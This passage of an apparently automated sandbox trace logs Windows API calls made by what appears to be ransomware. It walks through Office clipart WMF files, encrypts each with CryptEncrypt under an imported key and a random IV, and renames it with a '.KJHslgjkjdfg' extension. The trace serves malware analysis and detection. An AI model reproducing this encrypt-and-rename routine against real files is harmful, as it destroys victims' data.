pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.843] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.843] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.843] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.843] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.844] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.844] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.844] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.844] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x318, lpOverlapped=0x0) returned 1 [0187.844] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x320, dwBufLen=0x320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x320) returned 1 [0187.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.844] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x320, lpOverlapped=0x0) returned 1 [0187.844] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.844] SetEndOfFile (hFile=0x130) returned 1 [0187.846] GetProcessHeap () returned 0x990000 [0187.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.846] GetProcessHeap () returned 0x990000 [0187.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.kjhslgjkjdfg")) returned 1 [0187.847] CloseHandle (hObject=0x130) returned 1 [0187.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0187.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.848] GetProcessHeap () returned 0x990000 [0187.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.848] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.848] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.848] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.848] GetProcessHeap () returned 0x990000 [0187.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.848] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.848] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.848] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.850] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.850] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.850] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.850] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x44b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x44b0, lpOverlapped=0x0) returned 1 [0187.851] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x44b0, dwBufLen=0x44b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x44b0) returned 1 [0187.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.852] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x44b0, lpOverlapped=0x0) returned 1 [0187.852] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.852] SetEndOfFile (hFile=0x130) returned 1 [0187.855] GetProcessHeap () returned 0x990000 [0187.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.855] GetProcessHeap () returned 0x990000 [0187.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.kjhslgjkjdfg")) returned 1 [0187.856] CloseHandle (hObject=0x130) returned 1 [0187.856] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0187.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.856] GetProcessHeap () returned 0x990000 [0187.856] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.856] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.856] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.859] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.859] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.859] GetProcessHeap () returned 0x990000 [0187.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.859] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.859] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.859] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.859] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.859] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.860] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.860] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e94, lpOverlapped=0x0) returned 1 [0187.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ea0) returned 1 [0187.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.861] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ea0, lpOverlapped=0x0) returned 1 [0187.861] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.861] SetEndOfFile (hFile=0x130) returned 1 [0187.864] GetProcessHeap () returned 0x990000 [0187.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.864] GetProcessHeap () returned 0x990000 [0187.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.kjhslgjkjdfg")) returned 1 [0187.865] CloseHandle (hObject=0x130) returned 1 [0187.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0187.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.867] GetProcessHeap () returned 0x990000 [0187.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.867] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.867] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.867] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.867] GetProcessHeap () returned 0x990000 [0187.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.867] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.867] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.867] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.870] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.870] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.870] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.870] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.871] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa7f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa7f0, lpOverlapped=0x0) returned 1 [0187.872] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa7f0, dwBufLen=0xa7f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa7f0) returned 1 [0187.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.872] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa7f0, lpOverlapped=0x0) returned 1 [0187.873] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.873] SetEndOfFile (hFile=0x130) returned 1 [0187.876] GetProcessHeap () returned 0x990000 [0187.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.876] GetProcessHeap () returned 0x990000 [0187.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.kjhslgjkjdfg")) returned 1 [0187.877] CloseHandle (hObject=0x130) returned 1 [0187.878] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0187.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.878] GetProcessHeap () returned 0x990000 [0187.878] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.878] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.878] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.881] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.881] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.881] GetProcessHeap () returned 0x990000 [0187.881] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.881] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.881] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.882] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.882] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.882] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.882] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.882] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.882] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.882] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 